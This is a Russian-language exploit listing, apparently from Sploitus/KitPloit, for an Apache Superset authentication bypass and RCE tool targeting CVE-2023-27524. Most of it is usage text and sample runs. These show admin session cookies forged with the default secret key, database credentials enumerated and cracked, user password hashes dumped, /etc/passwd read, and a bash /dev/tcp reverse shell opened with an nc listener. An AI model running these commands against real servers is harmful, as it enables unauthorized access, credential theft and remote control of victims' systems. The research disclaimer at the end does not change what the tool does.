Exploit for CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAKABAKOS-CVE-2023-27524-APACHE-SUPERSET-AUTH-BYPASS-AND-RCE
# CVE-2023-27524: обход аутентификации и RCE в Apache Superset

Apache Superset, широко используемый инструмент с открытым исходным кодом для визуализации и исследования данных, был признан имеющим потенциальные уязвимости безопасности, которые могут привести к обходу аутентификации и удаленному выполнению кода (RCE). Эти уязвимости могут позволить злоумышленникам получить административные привилегии на целевых серверах, собирать учетные данные пользователей и потенциально скомпрометировать данные.

Конкретная рассматриваемая проблема безопасности — это уязвимость небезопасной конфигурации по умолчанию, обозначенная как CVE-2023-27524.

Основная причина заключается в предсказуемом секретном ключе Flask, установленном во время инсталляции, что затрагивает значительное количество открытых экземпляров Apache Superset. Несмотря на некоторые усилия по смягчению, эта уязвимость остается критической проблемой для тех, кто не обновил свои конфигурации.

Проблема может быть расширена до RCE. Данный эксплойт добавляет эту функциональность к оригинальному.

Официальное описание уязвимости:

> Атаки на проверку сессий в версиях Apache Superset до 2.0.1 включительно. Установки, которые не изменили значение SECRET_KEY по умолчанию в соответствии с инструкциями по установке, позволяют злоумышленнику пройти аутентификацию и получить доступ к неавторизованным ресурсам. Это не затрагивает администраторов Superset, которые изменили значение по умолчанию для конфигурации SECRET_KEY.

## Пост в блоге

Данный скрипт эксплойта написан для анализа CVE на vsociety.

## Использование

Установка пакетов PIP:

root@kitploit:~
    
    
    pip3 install -r requirements.txt                                                                
    

Использование:

root@kitploit:~
    
    
    usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
                      [--revshell REVSHELL] [--db-host]
    
    options:
      -h, --help            show this help message and exit
      --url URL, -u URL     Host URL
      --id ID               User ID to forge session cookie for. Default=1
      --wordlist WORDLIST, -w WORDLIST
                            Specify a wordlist file (default is 10.txt)
      --validate, -v        Validate the presence of vulnerability by login attempt
      --enum-dbs, -dbs      Enumerate databases
      --enum-users, -eu     Enumerate databases
      --cmd CMD, -c CMD     Run custom OS command on the database's server.
      --revshell REVSHELL   Specify IP:Port for reverse shell
      --db-host             Run commands or open reverse shell on the database server
    

## Примеры

### Проверка уязвимости и попытка взлома секрета приложения с помощью пользовательского списка слов

root@kitploit:~
    
    
    # python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt 
    [+] Session cookie found.
    [+] Decoded session cookie: <REDACTED>
    [+] Using '10k_most_common_passwords.txt' as a wordlist.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
    [+] Forged session cookie for user 1: <REDACTED>
    [+] Superset Version: 2.0.1
    [+] Login successful. Vulnerability is validated.
    

### Перечисление баз данных

root@kitploit:~
    
    
    # python3 exploit.py -u http://localhost:8088 --enum-dbs      
    [+] Session cookie found.
    [+] Decoded session cookie:
        {'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
    [+] Using default secret keys.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
    [+] Forged session cookie for user 1:
        eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
    [+] Version 2.0.1 seems vulnerable.
    [+] Enumerating databases via API...
    [+] Found database: "examples" with password "superset".
    [+] Found database: "SQLite".
    [+] Enumerating database connection data and cracking password if possible...
    +-----------------+---------------------------------------------------+--------------------------+----------------------+
    | database_name   | sqlalchemy_uri                                    | password                 | decrypted_password   |
    |-----------------+---------------------------------------------------+--------------------------+----------------------|
    | examples        | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset********     |
    | SQLite          | sqlite+pysqlite:////app/superset_home/superset.db |                          |                      |
    +-----------------+---------------------------------------------------+--------------------------+----------------------+
    [+] Process of enumerating databases finished.
    
    

### Перечисление пользователей Superset

root@kitploit:~
    
    
    # python3 exploit.py -u http://localhost:8088 --enum-users              
    [+] Session cookie found.
    [+] Decoded session cookie:
        {'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
    [+] Using default secret keys.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
    [+] Forged session cookie for user 1:
        eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
    [+] Version 2.0.1 seems vulnerable.
    [+] Checking existing metadata database connection...
    [+] Settings of database with id 1 were successfully modified.
    [+] Settings of database with id 2 were successfully modified.
    [+] Superset metadata connection is already added with id 2.
    [+] Trying to enumerate Superset users...
    [+] RESULT:
    +------------+--------------------------------------------------------------------------------------------------------+
    | username   | password                                                                                               |
    |------------+--------------------------------------------------------------------------------------------------------|
    | admin      | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
    +------------+--------------------------------------------------------------------------------------------------------+
    

### Выполнение пользовательской команды ОС

На сервере Superset:

root@kitploit:~
    
    
    # python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
    

Обратите внимание, что в этом случае вывод пока не виден.

На сервере БД:

root@kitploit:~
    
    
    # python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
    
    [+] Session cookie found.
    [+] Decoded session cookie:
        {'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
    [+] Using default secret keys.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
    [+] Forged session cookie for user 1:
        eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
    [+] Version 2.0.1 seems vulnerable.
    [+] Trying to run command on the database server...
    [+] Settings of database with id 1 were successfully modified.
    [+] $ cat /etc/passwd
    +-----------------------------------------------------------------------------------+
    | cmd_output                                                                        |
    |-----------------------------------------------------------------------------------|
    | root:x:0:0:root:/root:/bin/bash                                                   |
    | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                   |
    | <REDACTED>                                                                        |
    | postgres:x:999:999::/var/lib/postgresql:/bin/bash                                 |
    +-----------------------------------------------------------------------------------+
    

### Открытие обратной оболочки (reverse shell)

На сервере Superset:

root@kitploit:~
    
    
    # Terminal 1
    nc -lvnp [PORT]
    
    # Terminal 2
    python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
    

На сервере БД:

root@kitploit:~
    
    
    # Terminal 1
    nc -lvnp [PORT]
    
    # Terminal 2
    python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
    

## Отказ от ответственности

Данный скрипт эксплойта создан исключительно в целях исследования и разработки эффективных защитных методов. Он не предназначен для использования в каких-либо вредоносных или несанкционированных действиях. Автор и владелец скрипта снимают с себя любую ответственность за неправильное использование или ущерб, причиненный данным программным обеспечением. Пользователям настоятельно рекомендуется использовать это программное обеспечение ответственно и только в соответствии с применимыми законами и нормативными актами. Используйте ответственно.